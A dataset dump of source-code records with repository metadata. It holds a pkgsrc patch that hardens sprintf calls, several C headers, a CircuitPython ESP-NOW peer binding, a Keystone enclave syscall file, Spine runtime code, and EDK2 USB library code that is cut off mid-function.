blob_id
stringlengths 40
40
| directory_id
stringlengths 40
40
| path
stringlengths 4
721
| content_id
stringlengths 40
40
| detected_licenses
listlengths 0
57
| license_type
stringclasses 2
values | repo_name
stringlengths 5
91
| snapshot_id
stringlengths 40
40
| revision_id
stringlengths 40
40
| branch_name
stringclasses 321
values | visit_date
timestamp[ns]date 2016-08-12 09:31:09
2023-09-06 10:45:07
| revision_date
timestamp[ns]date 2010-09-28 14:01:40
2023-09-06 06:22:19
| committer_date
timestamp[ns]date 2010-09-28 14:01:40
2023-09-06 06:22:19
| github_id
int64 426
681M
| star_events_count
int64 101
243k
| fork_events_count
int64 0
110k
| gha_license_id
stringclasses 23
values | gha_event_created_at
timestamp[ns]date 2012-06-28 18:51:49
2023-09-14 21:59:16
⌀ | gha_created_at
timestamp[ns]date 2008-02-11 22:55:26
2023-08-10 11:14:58
⌀ | gha_language
stringclasses 147
values | src_encoding
stringclasses 26
values | language
stringclasses 2
values | is_vendor
bool 2
classes | is_generated
bool 2
classes | length_bytes
int64 6
10.2M
| extension
stringclasses 115
values | filename
stringlengths 3
113
| content
stringlengths 6
10.2M
|
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
2e7c01254cfb46b8acad540105cf2db2b5cc51be
|
376e1818d427b5e4d32fa6dd6c7b71e9fd88afdb
|
/sysutils/acpica-utils/patches/patch-source_compiler_aslpredef.c
|
5f4ddd26ba8be854b2c88a68c7d8d1d10940f44f
|
[] |
no_license
|
NetBSD/pkgsrc
|
a0732c023519650ef821ab89c23ab6ab59e25bdb
|
d042034ec4896cc5b47ed6f2e5b8802d9bc5c556
|
refs/heads/trunk
| 2023-09-01T07:40:12.138283
| 2023-09-01T05:25:19
| 2023-09-01T05:25:19
| 88,439,572
| 321
| 138
| null | 2023-07-12T22:34:14
| 2017-04-16T20:04:15
| null |
UTF-8
|
C
| false
| false
| 1,227
|
c
|
patch-source_compiler_aslpredef.c
|
$NetBSD: patch-source_compiler_aslpredef.c,v 1.1 2018/10/27 21:44:53 abs Exp $
Avoid potential sprintf buffer overflow reported by gcc 8.2.0
--- source/compiler/aslpredef.c.orig 2016-09-30 16:43:57.000000000 +0000
+++ source/compiler/aslpredef.c
@@ -162,7 +162,7 @@ ApCheckForPredefinedMethod (
AcpiUtGetExpectedReturnTypes (StringBuffer,
ThisName->Info.ExpectedBtypes);
- sprintf (MsgBuffer, "%s required for %4.4s",
+ snprintf (MsgBuffer, sizeof(MsgBuffer), "%s required for %4.4s",
StringBuffer, ThisName->Info.Name);
AslError (ASL_WARNING, ASL_MSG_RESERVED_RETURN_VALUE, Op,
@@ -700,12 +700,12 @@ TypeErrorExit:
if (PackageIndex == ACPI_NOT_PACKAGE_ELEMENT)
{
- sprintf (MsgBuffer, "%4.4s: found %s, %s required",
+ snprintf (MsgBuffer, sizeof(MsgBuffer), "%4.4s: found %s, %s required",
PredefinedName, TypeName, StringBuffer);
}
else
{
- sprintf (MsgBuffer, "%4.4s: found %s at index %u, %s required",
+ snprintf (MsgBuffer, sizeof(MsgBuffer), "%4.4s: found %s at index %u, %s required",
PredefinedName, TypeName, PackageIndex, StringBuffer);
}
|
314ca72249e25977e96ac4c793f1714a1fb53825
|
7664f318ed04bd0680f3d82321c18896e3ef6ad5
|
/src/overlays/actors/ovl_En_Nwc/z_en_nwc.h
|
e927cb3b66f4995470d31fc7bc153775de020ebf
|
[] |
no_license
|
zeldaret/oot
|
9c80ce17f2d8fd61514b375f92ee4739b5ce9d4e
|
2875ab4fcf5c5f81d76353d1ee0024c9ea8d0b23
|
refs/heads/master
| 2023-08-29T05:29:31.356427
| 2023-08-28T22:48:52
| 2023-08-28T22:48:52
| 247,875,738
| 4,401
| 802
| null | 2023-09-14T13:34:38
| 2020-03-17T04:02:19
|
C
|
UTF-8
|
C
| false
| false
| 903
|
h
|
z_en_nwc.h
|
#ifndef Z_EN_NWC_H
#define Z_EN_NWC_H
#include "ultra64.h"
#include "global.h"
struct EnNwc;
struct EnNwcChick;
typedef void (*EnNwcUpdateFunc)(struct EnNwc*, PlayState*);
typedef void (*EnNwcChickFunc)(struct EnNwcChick*, struct EnNwc*, PlayState*);
typedef struct EnNwcChick {
/* 0x00 */ s8 type;
/* 0x01 */ u8 bgFlags;
/* 0x04 */ f32 floorY;
/* 0x08 */ Vec3f pos;
/* 0x14 */ char unk_14[8];
/* 0x1C */ Vec3f lastPos;
/* 0x28 */ char unk_28[4];
/* 0x2C */ f32 velY;
/* 0x30 */ Vec3s rot;
/* 0x36 */ u16 height;
/* 0x38 */ CollisionPoly* floorPoly;
/* 0x44 */ char unk_3C[0x20];
} EnNwcChick; // size = 0x5C
typedef struct EnNwc {
/* 0x0000 */ Actor actor;
/* 0x014C */ ColliderJntSph collider;
/* 0x016C */ u8 count;
/* 0x0170 */ EnNwcChick chicks[16];
/* 0x0730 */ EnNwcUpdateFunc updateFunc;
} EnNwc; // size = 0x0734
#endif
|
e855a022c1a4ebbded719b6a91946cd70d04ce77
|
e814383d36a10839104efaa4df277996ab220fa3
|
/ompi/communicator/comm_request.h
|
5f85aa6ed4fff79dbabea5b51f44696b0ca62001
|
[
"mpich2",
"BSD-3-Clause-Open-MPI"
] |
permissive
|
open-mpi/ompi
|
a1d7483ae1d83dd8fd8ae3ee95e832e0a0ee04e3
|
1edfdb025c4450f694600083ad871cf06c8d45cd
|
refs/heads/main
| 2023-09-01T01:30:02.040705
| 2023-08-29T17:32:18
| 2023-08-29T17:32:18
| 24,107,001
| 2,008
| 973
|
NOASSERTION
| 2023-09-14T20:59:26
| 2014-09-16T16:08:30
|
C
|
UTF-8
|
C
| false
| false
| 1,607
|
h
|
comm_request.h
|
/* -*- Mode: C; c-basic-offset:4 ; indent-tabs-mode:nil -*- */
/*
* Copyright (c) 2013-2016 Los Alamos National Security, LLC. All rights
* reserved.
* Copyright (c) 2021 Triad National Security, LLC. All rights
* reserved.
* $COPYRIGHT$
*
* Additional copyrights may follow
*
* $HEADER$
*/
#ifndef OMPI_COMM_REQ_H
#define OMPI_COMM_REQ_H
#include "opal/class/opal_list.h"
#include "ompi/request/request.h"
/* increase this number if more subrequests are needed */
#define OMPI_COMM_REQUEST_MAX_SUBREQ 2
/* indicate that the caller will free subrequests */
#define OMPI_COMM_REQ_FLAG_RETAIN_SUBREQ 0x00000001
typedef struct ompi_comm_request_t {
ompi_request_t super;
opal_object_t *context;
opal_list_t schedule;
} ompi_comm_request_t;
OBJ_CLASS_DECLARATION(ompi_comm_request_t);
typedef int (*ompi_comm_request_callback_fn_t) (ompi_comm_request_t *);
void ompi_comm_request_init (void);
void ompi_comm_request_fini (void);
int ompi_comm_request_schedule_append (ompi_comm_request_t *request, ompi_comm_request_callback_fn_t callback,
ompi_request_t *subreqs[], int subreq_count);
int ompi_comm_request_schedule_append_w_flags(ompi_comm_request_t *request, ompi_comm_request_callback_fn_t callback,
ompi_request_t *subreqs[], int subreq_count, uint32_t flags);
void ompi_comm_request_start (ompi_comm_request_t *request);
ompi_comm_request_t *ompi_comm_request_get (void);
void ompi_comm_request_return (ompi_comm_request_t *request);
#endif /* OMPI_COMM_REQ_H */
|
00e645887b13ced91444b4b7023e41192ca95252
|
83b8b30ebb633eecd29ca0a7a20cc43a293c9333
|
/ports/espressif/bindings/espnow/Peer.c
|
f69bec01e6a5fc05d09c48f766116ee8c1867755
|
[
"MIT",
"GPL-1.0-or-later"
] |
permissive
|
adafruit/circuitpython
|
430ec895149d1eb814b505db39b4977a35ee88a7
|
506dca71b0cbb7af749bb51f86b01021db5483b3
|
refs/heads/main
| 2023-08-21T16:30:46.781068
| 2023-08-20T00:39:44
| 2023-08-20T00:39:44
| 66,166,069
| 3,806
| 1,560
|
MIT
| 2023-09-14T19:23:51
| 2016-08-20T20:10:40
|
C
|
UTF-8
|
C
| false
| false
| 9,137
|
c
|
Peer.c
|
/*
* This file is part of the Micro Python project, http://micropython.org/
*
* The MIT License (MIT)
*
* Copyright (c) 2023 MicroDev
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in
* all copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
* THE SOFTWARE.
*/
#include "py/obj.h"
#include "py/objproperty.h"
#include "py/runtime.h"
#include "bindings/espnow/Peer.h"
#include "common-hal/espnow/__init__.h"
//| class Peer:
//| """A data class to store parameters specific to a peer."""
//|
//| def __init__(
//| self,
//| mac: bytes,
//| *,
//| lmk: Optional[bytes],
//| channel: int = 0,
//| interface: int = 0,
//| encrypted: bool = False,
//| ) -> None:
//| """Construct a new peer object.
//|
//| :param bytes mac: The mac address of the peer.
//| :param bytes lmk: The Local Master Key (lmk) of the peer.
//| :param int channel: The peer's channel. Default: 0 ie. use the current channel.
//| :param int interface: The WiFi interface to use. Default: 0 ie. STA.
//| :param bool encrypted: Whether or not to use encryption.
//| """
//| ...
STATIC mp_obj_t espnow_peer_make_new(const mp_obj_type_t *type, size_t n_args, size_t n_kw, const mp_obj_t *all_args) {
enum { ARG_mac, ARG_lmk, ARG_channel, ARG_interface, ARG_encrypted };
static const mp_arg_t allowed_args[] = {
{ MP_QSTR_mac, MP_ARG_OBJ | MP_ARG_REQUIRED },
{ MP_QSTR_lmk, MP_ARG_OBJ | MP_ARG_KW_ONLY, { .u_obj = mp_const_none } },
{ MP_QSTR_channel, MP_ARG_INT | MP_ARG_KW_ONLY, { .u_int = 0 } },
{ MP_QSTR_interface,MP_ARG_INT | MP_ARG_KW_ONLY, { .u_int = 0 } },
{ MP_QSTR_encrypted,MP_ARG_BOOL | MP_ARG_KW_ONLY,{ .u_bool = false } },
};
mp_arg_val_t args[MP_ARRAY_SIZE(allowed_args)];
mp_arg_parse_all_kw_array(n_args, n_kw, all_args, MP_ARRAY_SIZE(allowed_args), allowed_args, args);
espnow_peer_obj_t *self = m_new_obj(espnow_peer_obj_t);
self->base.type = &espnow_peer_type;
self->peer_info = (esp_now_peer_info_t) {
.channel = 0,
.ifidx = WIFI_IF_STA,
.encrypt = false
};
memcpy(self->peer_info.peer_addr, common_hal_espnow_get_bytes_len(args[ARG_mac].u_obj, ESP_NOW_ETH_ALEN), ESP_NOW_ETH_ALEN);
self->peer_info.channel = mp_arg_validate_int_range(args[ARG_channel].u_int, 0, 14, MP_QSTR_channel);
self->peer_info.ifidx = (wifi_interface_t)mp_arg_validate_int_range(args[ARG_interface].u_int, 0, 1, MP_QSTR_interface);
self->peer_info.encrypt = args[ARG_encrypted].u_bool;
const mp_obj_t lmk = args[ARG_lmk].u_obj;
if (lmk != mp_const_none) {
memcpy(self->peer_info.lmk, common_hal_espnow_get_bytes_len(lmk, ESP_NOW_KEY_LEN), ESP_NOW_KEY_LEN);
} else if (self->peer_info.encrypt && !self->peer_info.lmk) {
mp_raise_ValueError_varg(translate("%q is %q"), MP_QSTR_lmk, MP_QSTR_None);
}
return self;
}
//| mac: ReadableBuffer
//| """The WiFi mac to use."""
//|
STATIC mp_obj_t espnow_peer_get_mac(const mp_obj_t self_in) {
espnow_peer_obj_t *self = MP_OBJ_TO_PTR(self_in);
return mp_obj_new_bytes(self->peer_info.peer_addr, MP_ARRAY_SIZE(self->peer_info.peer_addr));
}
MP_DEFINE_CONST_FUN_OBJ_1(espnow_peer_get_mac_obj, espnow_peer_get_mac);
STATIC mp_obj_t espnow_peer_set_mac(const mp_obj_t self_in, const mp_obj_t value) {
espnow_peer_obj_t *self = MP_OBJ_TO_PTR(self_in);
memcpy(self->peer_info.peer_addr, common_hal_espnow_get_bytes_len(value, ESP_NOW_ETH_ALEN), ESP_NOW_ETH_ALEN);
esp_now_mod_peer(&self->peer_info);
return mp_const_none;
}
MP_DEFINE_CONST_FUN_OBJ_2(espnow_peer_set_mac_obj, espnow_peer_set_mac);
MP_PROPERTY_GETSET(espnow_peer_mac_obj,
(mp_obj_t)&espnow_peer_get_mac_obj,
(mp_obj_t)&espnow_peer_set_mac_obj);
//| lmk: ReadableBuffer
//| """The WiFi lmk to use."""
//|
STATIC mp_obj_t espnow_peer_get_lmk(const mp_obj_t self_in) {
espnow_peer_obj_t *self = MP_OBJ_TO_PTR(self_in);
return mp_obj_new_bytes(self->peer_info.lmk, MP_ARRAY_SIZE(self->peer_info.lmk));
}
MP_DEFINE_CONST_FUN_OBJ_1(espnow_peer_get_lmk_obj, espnow_peer_get_lmk);
STATIC mp_obj_t espnow_peer_set_lmk(const mp_obj_t self_in, const mp_obj_t value) {
espnow_peer_obj_t *self = MP_OBJ_TO_PTR(self_in);
memcpy(self->peer_info.lmk, common_hal_espnow_get_bytes_len(value, ESP_NOW_KEY_LEN), ESP_NOW_KEY_LEN);
esp_now_mod_peer(&self->peer_info);
return mp_const_none;
}
MP_DEFINE_CONST_FUN_OBJ_2(espnow_peer_set_lmk_obj, espnow_peer_set_lmk);
MP_PROPERTY_GETSET(espnow_peer_lmk_obj,
(mp_obj_t)&espnow_peer_get_lmk_obj,
(mp_obj_t)&espnow_peer_set_lmk_obj);
//| channel: int
//| """The WiFi channel to use."""
//|
STATIC mp_obj_t espnow_peer_get_channel(const mp_obj_t self_in) {
espnow_peer_obj_t *self = MP_OBJ_TO_PTR(self_in);
return MP_OBJ_NEW_SMALL_INT(self->peer_info.channel);
}
MP_DEFINE_CONST_FUN_OBJ_1(espnow_peer_get_channel_obj, espnow_peer_get_channel);
STATIC mp_obj_t espnow_peer_set_channel(const mp_obj_t self_in, const mp_obj_t value) {
espnow_peer_obj_t *self = MP_OBJ_TO_PTR(self_in);
self->peer_info.channel = mp_arg_validate_int_range(mp_obj_get_int(value), 0, 14, MP_QSTR_channel);
esp_now_mod_peer(&self->peer_info);
return mp_const_none;
}
MP_DEFINE_CONST_FUN_OBJ_2(espnow_peer_set_channel_obj, espnow_peer_set_channel);
MP_PROPERTY_GETSET(espnow_peer_channel_obj,
(mp_obj_t)&espnow_peer_get_channel_obj,
(mp_obj_t)&espnow_peer_set_channel_obj);
//| interface: int
//| """The WiFi interface to use."""
//|
STATIC mp_obj_t espnow_peer_get_interface(const mp_obj_t self_in) {
espnow_peer_obj_t *self = MP_OBJ_TO_PTR(self_in);
return MP_OBJ_NEW_SMALL_INT(self->peer_info.ifidx);
}
MP_DEFINE_CONST_FUN_OBJ_1(espnow_peer_get_interface_obj, espnow_peer_get_interface);
STATIC mp_obj_t espnow_peer_set_interface(const mp_obj_t self_in, const mp_obj_t value) {
espnow_peer_obj_t *self = MP_OBJ_TO_PTR(self_in);
self->peer_info.ifidx = (wifi_interface_t)mp_arg_validate_int_range(mp_obj_get_int(value), 0, 1, MP_QSTR_interface);
esp_now_mod_peer(&self->peer_info);
return mp_const_none;
}
MP_DEFINE_CONST_FUN_OBJ_2(espnow_peer_set_interface_obj, espnow_peer_set_interface);
MP_PROPERTY_GETSET(espnow_peer_interface_obj,
(mp_obj_t)&espnow_peer_get_interface_obj,
(mp_obj_t)&espnow_peer_set_interface_obj);
//| encrypted: bool
//| """Whether or not to use encryption."""
//|
STATIC mp_obj_t espnow_peer_get_encrypted(const mp_obj_t self_in) {
espnow_peer_obj_t *self = MP_OBJ_TO_PTR(self_in);
return mp_obj_new_bool(self->peer_info.encrypt);
}
MP_DEFINE_CONST_FUN_OBJ_1(espnow_peer_get_encrypted_obj, espnow_peer_get_encrypted);
STATIC mp_obj_t espnow_peer_set_encrypted(const mp_obj_t self_in, const mp_obj_t value) {
espnow_peer_obj_t *self = MP_OBJ_TO_PTR(self_in);
self->peer_info.encrypt = mp_obj_is_true(value);
if (!self->peer_info.lmk) {
mp_raise_ValueError_varg(translate("%q is %q"), MP_QSTR_lmk, MP_QSTR_None);
}
esp_now_mod_peer(&self->peer_info);
return mp_const_none;
}
MP_DEFINE_CONST_FUN_OBJ_2(espnow_peer_set_encrypted_obj, espnow_peer_set_encrypted);
MP_PROPERTY_GETSET(espnow_peer_encrypted_obj,
(mp_obj_t)&espnow_peer_get_encrypted_obj,
(mp_obj_t)&espnow_peer_set_encrypted_obj);
STATIC const mp_rom_map_elem_t espnow_peer_locals_dict_table[] = {
// Peer parameters
{ MP_ROM_QSTR(MP_QSTR_mac), MP_ROM_PTR(&espnow_peer_mac_obj) },
{ MP_ROM_QSTR(MP_QSTR_lmk), MP_ROM_PTR(&espnow_peer_lmk_obj) },
{ MP_ROM_QSTR(MP_QSTR_channel), MP_ROM_PTR(&espnow_peer_channel_obj) },
{ MP_ROM_QSTR(MP_QSTR_interface), MP_ROM_PTR(&espnow_peer_interface_obj) },
{ MP_ROM_QSTR(MP_QSTR_encrypted), MP_ROM_PTR(&espnow_peer_encrypted_obj) },
};
STATIC MP_DEFINE_CONST_DICT(espnow_peer_locals_dict, espnow_peer_locals_dict_table);
const mp_obj_type_t espnow_peer_type = {
{ &mp_type_type },
.name = MP_QSTR_Peer,
.make_new = espnow_peer_make_new,
.locals_dict = (mp_obj_t)&espnow_peer_locals_dict,
};
|
a9e2dedade8bd9ffdf0808794d1688c63b5d1caa
|
6b0a3fabba61a3dc51d8a4ce3263048ecb02e9d3
|
/Source/VideoCast.h
|
85c9a7b4cd07e37945d81588d36c0663f2283af0
|
[
"MIT"
] |
permissive
|
cats-oss/VideoCast-Swift
|
0059ae6cdee94507f7fe936480b8a4f7c7d9eb03
|
7dedba865f9e3fa8f0e7fb138bc41f04ee1e939f
|
refs/heads/master
| 2023-06-26T19:18:44.507661
| 2023-06-12T15:09:00
| 2023-06-12T15:09:00
| 125,387,496
| 127
| 34
|
MIT
| 2023-05-02T13:33:45
| 2018-03-15T15:26:47
|
Swift
|
UTF-8
|
C
| false
| false
| 286
|
h
|
VideoCast.h
|
//
// VideoCast.h
// VideoCast
//
// Created by Tomohiro Matsuzawa on 2018/01/04.
// Copyright © 2018年 CyberAgent, Inc. All rights reserved.
//
@import Foundation;
FOUNDATION_EXPORT double VideoCastVersionNumber;
FOUNDATION_EXPORT const unsigned char VideoCastVersionString[];
|
fa7ea222998d2330da54d420d3d0ed25f7494a42
|
55540f3e86f1d5d86ef6b5d295a63518e274efe3
|
/toolchain/riscv/Linux/lib/gcc/riscv64-unknown-elf/10.2.0/plugin/include/optabs-tree.h
|
5d9dccba69d7af8221f6356923f18c6b600cb747
|
[
"Apache-2.0"
] |
permissive
|
bouffalolab/bl_iot_sdk
|
bc5eaf036b70f8c65dd389439062b169f8d09daa
|
b90664de0bd4c1897a9f1f5d9e360a9631d38b34
|
refs/heads/master
| 2023-08-31T03:38:03.369853
| 2023-08-16T08:50:33
| 2023-08-18T09:13:27
| 307,347,250
| 244
| 101
|
Apache-2.0
| 2023-08-28T06:29:02
| 2020-10-26T11:16:30
|
C
|
UTF-8
|
C
| false
| false
| 1,743
|
h
|
optabs-tree.h
|
/* Tree-based target query functions relating to optabs
Copyright (C) 2001-2020 Free Software Foundation, Inc.
This file is part of GCC.
GCC is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation; either version 3, or (at your option)
any later version.
GCC is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with GCC; see the file COPYING3. If not see
<http://www.gnu.org/licenses/>. */
#ifndef GCC_OPTABS_TREE_H
#define GCC_OPTABS_TREE_H
#include "optabs-query.h"
/* An extra flag to control optab_for_tree_code's behavior. This is needed to
distinguish between machines with a vector shift that takes a scalar for the
shift amount vs. machines that take a vector for the shift amount. */
enum optab_subtype
{
optab_default,
optab_scalar,
optab_vector
};
/* Return the optab used for computing the given operation on the type given by
the second argument. The third argument distinguishes between the types of
vector shifts and rotates. */
optab optab_for_tree_code (enum tree_code, const_tree, enum optab_subtype);
bool supportable_convert_operation (enum tree_code, tree, tree,
enum tree_code *);
bool expand_vec_cmp_expr_p (tree, tree, enum tree_code);
bool expand_vec_cond_expr_p (tree, tree, enum tree_code);
void init_tree_optimization_optabs (tree);
bool target_supports_op_p (tree, enum tree_code,
enum optab_subtype = optab_default);
#endif
|
0a463430590a838eb023b28588bc4322a03a3a5f
|
c31767d5d5d7f9267a2607bbddd261a72cc9a6f6
|
/sdk/src/app/syscall.c
|
e6ee40a8933e0dfe0c1248d12e4c5754d5ad0a63
|
[
"LicenseRef-scancode-bsd-3-clause-jtag"
] |
permissive
|
keystone-enclave/keystone
|
39986d7d4d7f1f651a77ccf338ac0ebaf2744a55
|
9b9dd5a015cc77725b3576441f589c3ea2c7ced0
|
refs/heads/master
| 2023-09-03T15:18:31.943293
| 2023-08-30T02:28:55
| 2023-08-30T02:28:55
| 137,123,646
| 409
| 136
|
NOASSERTION
| 2023-09-09T00:28:40
| 2018-06-12T20:23:19
|
C
|
UTF-8
|
C
| false
| false
| 1,151
|
c
|
syscall.c
|
//******************************************************************************
// Copyright (c) 2018, The Regents of the University of California (Regents).
// All Rights Reserved. See LICENSE for license details.
//------------------------------------------------------------------------------
#include "syscall.h"
/* this implementes basic system calls for the enclave */
int
ocall(
unsigned long call_id, void* data, size_t data_len, void* return_buffer,
size_t return_len) {
return SYSCALL_5(
SYSCALL_OCALL, call_id, data, data_len, return_buffer, return_len);
}
int
copy_from_shared(void* dst, uintptr_t offset, size_t data_len) {
return SYSCALL_3(SYSCALL_SHAREDCOPY, dst, offset, data_len);
}
int
attest_enclave(void* report, void* data, size_t size) {
return SYSCALL_3(SYSCALL_ATTEST_ENCLAVE, report, data, size);
}
/* returns sealing key */
int
get_sealing_key(
struct sealing_key* sealing_key_struct, size_t sealing_key_struct_size,
void* key_ident, size_t key_ident_size) {
return SYSCALL_4(
SYSCALL_GET_SEALING_KEY, sealing_key_struct, sealing_key_struct_size,
key_ident, key_ident_size);
}
|
1cc0cbb43fe57421859e97b3ef4892231f4677d6
|
6f8bf483b372d8bd526698a083309edb50b0bd90
|
/libs/spine-c/src/spine/Slot.c
|
3973d775eecfe3069f22bbcb2119aed2aa2eb8cc
|
[
"LicenseRef-scancode-unknown-license-reference",
"MIT"
] |
permissive
|
floooh/sokol-samples
|
d48466f0da1b07c57b98733827074289faa335c9
|
578d71daed073dbeb2e5e3d74a3485cf46733cd7
|
refs/heads/master
| 2023-08-31T04:06:28.791638
| 2023-07-26T19:31:00
| 2023-07-26T19:31:00
| 97,253,410
| 496
| 100
|
MIT
| 2023-07-26T19:31:01
| 2017-07-14T16:29:50
|
C
|
UTF-8
|
C
| false
| false
| 3,431
|
c
|
Slot.c
|
/******************************************************************************
* Spine Runtimes License Agreement
* Last updated September 24, 2021. Replaces all prior versions.
*
* Copyright (c) 2013-2021, Esoteric Software LLC
*
* Integration of the Spine Runtimes into software or otherwise creating
* derivative works of the Spine Runtimes is permitted under the terms and
* conditions of Section 2 of the Spine Editor License Agreement:
* http://esotericsoftware.com/spine-editor-license
*
* Otherwise, it is permitted to integrate the Spine Runtimes into software
* or otherwise create derivative works of the Spine Runtimes (collectively,
* "Products"), provided that each user of the Products must obtain their own
* Spine Editor license and redistribution of the Products in any form must
* include this license and copyright notice.
*
* THE SPINE RUNTIMES ARE PROVIDED BY ESOTERIC SOFTWARE LLC "AS IS" AND ANY
* EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
* WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
* DISCLAIMED. IN NO EVENT SHALL ESOTERIC SOFTWARE LLC BE LIABLE FOR ANY
* DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
* (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES,
* BUSINESS INTERRUPTION, OR LOSS OF USE, DATA, OR PROFITS) HOWEVER CAUSED AND
* ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
* (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
* THE SPINE RUNTIMES, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*****************************************************************************/
#include <spine/Slot.h>
#include <spine/extension.h>
spSlot *spSlot_create(spSlotData *data, spBone *bone) {
spSlot *self = NEW(spSlot);
CONST_CAST(spSlotData *, self->data) = data;
CONST_CAST(spBone *, self->bone) = bone;
spColor_setFromFloats(&self->color, 1, 1, 1, 1);
self->darkColor = data->darkColor == 0 ? 0 : spColor_create();
spSlot_setToSetupPose(self);
return self;
}
void spSlot_dispose(spSlot *self) {
FREE(self->deform);
FREE(self->darkColor);
FREE(self);
}
static int isVertexAttachment(spAttachment *attachment) {
if (attachment == NULL) return 0;
switch (attachment->type) {
case SP_ATTACHMENT_BOUNDING_BOX:
case SP_ATTACHMENT_CLIPPING:
case SP_ATTACHMENT_MESH:
case SP_ATTACHMENT_PATH:
return -1;
default:
return 0;
}
}
void spSlot_setAttachment(spSlot *self, spAttachment *attachment) {
if (attachment == self->attachment) return;
if (!isVertexAttachment(attachment) ||
!isVertexAttachment(self->attachment) || (SUB_CAST(spVertexAttachment, attachment)->timelineAttachment != SUB_CAST(spVertexAttachment, self->attachment)->timelineAttachment)) {
self->deformCount = 0;
}
CONST_CAST(spAttachment *, self->attachment) = attachment;
self->sequenceIndex = -1;
}
void spSlot_setToSetupPose(spSlot *self) {
spColor_setFromColor(&self->color, &self->data->color);
if (self->darkColor) spColor_setFromColor(self->darkColor, self->data->darkColor);
if (!self->data->attachmentName)
spSlot_setAttachment(self, 0);
else {
spAttachment *attachment = spSkeleton_getAttachmentForSlotIndex(
self->bone->skeleton, self->data->index, self->data->attachmentName);
CONST_CAST(spAttachment *, self->attachment) = 0;
spSlot_setAttachment(self, attachment);
}
}
|
137f4c2e3117d15eac97d46c765e4ef7f178d057
|
7c857119fe1505b1d80d6e62969661c06dc1a2f4
|
/MdeModulePkg/Bus/Usb/UsbBotPei/PeiUsbLib.c
|
e4dc25fb1c23880d54e21a74781572fd30323e6f
|
[
"BSD-2-Clause"
] |
permissive
|
CloverHackyColor/CloverBootloader
|
7042ca7dd6b513d22be591a295e49071ae1482ee
|
2711170df4f60b2ae5aa20add3e00f35cf57b7e5
|
refs/heads/master
| 2023-08-30T22:14:34.590134
| 2023-08-27T19:14:02
| 2023-08-27T19:14:02
| 205,810,121
| 4,734
| 770
|
BSD-2-Clause
| 2023-09-03T12:41:33
| 2019-09-02T08:22:14
|
C
|
UTF-8
|
C
| false
| false
| 3,734
|
c
|
PeiUsbLib.c
|
/** @file
Common Libarary for PEI USB.
Copyright (c) 2006 - 2018, Intel Corporation. All rights reserved.<BR>
SPDX-License-Identifier: BSD-2-Clause-Patent
**/
#include "UsbPeim.h"
#include "PeiUsbLib.h"
/**
Clear a given usb feature.
@param PeiServices General-purpose services that are available to every PEIM.
@param UsbIoPpi Indicates the PEI_USB_IO_PPI instance.
@param Recipient The recipient of ClearFeature Request, should be one of Device/Interface/Endpoint.
@param Value Request Value.
@param Target Request Index.
@retval EFI_SUCCESS Usb feature is cleared successfully.
@retval EFI_DEVICE_ERROR Cannot clear the usb feature due to a hardware error.
@retval Others Other failure occurs.
**/
EFI_STATUS
PeiUsbClearDeviceFeature (
IN EFI_PEI_SERVICES **PeiServices,
IN PEI_USB_IO_PPI *UsbIoPpi,
IN EFI_USB_RECIPIENT Recipient,
IN UINT16 Value,
IN UINT16 Target
)
{
EFI_USB_DEVICE_REQUEST DevReq;
ASSERT (UsbIoPpi != NULL);
switch (Recipient) {
case EfiUsbDevice:
DevReq.RequestType = USB_DEV_CLEAR_FEATURE_REQ_TYPE_D;
break;
case EfiUsbInterface:
DevReq.RequestType = USB_DEV_CLEAR_FEATURE_REQ_TYPE_I;
break;
case EfiUsbEndpoint:
DevReq.RequestType = USB_DEV_CLEAR_FEATURE_REQ_TYPE_E;
break;
}
DevReq.Request = USB_DEV_CLEAR_FEATURE;
DevReq.Value = Value;
DevReq.Index = Target;
DevReq.Length = 0;
return UsbIoPpi->UsbControlTransfer (
PeiServices,
UsbIoPpi,
&DevReq,
EfiUsbNoData,
PcdGet32 (PcdUsbTransferTimeoutValue),
NULL,
0
);
}
/**
Clear Endpoint Halt.
@param PeiServices General-purpose services that are available to every PEIM.
@param UsbIoPpi Indicates the PEI_USB_IO_PPI instance.
@param EndpointAddress The endpoint address.
@retval EFI_SUCCESS Endpoint halt is cleared successfully.
@retval EFI_DEVICE_ERROR Cannot clear the endpoint halt status due to a hardware error.
@retval Others Other failure occurs.
**/
EFI_STATUS
PeiUsbClearEndpointHalt (
IN EFI_PEI_SERVICES **PeiServices,
IN PEI_USB_IO_PPI *UsbIoPpi,
IN UINT8 EndpointAddress
)
{
EFI_STATUS Status;
EFI_USB_INTERFACE_DESCRIPTOR *InterfaceDesc;
EFI_USB_ENDPOINT_DESCRIPTOR *EndpointDescriptor;
UINT8 EndpointIndex;
//
// Check its interface
//
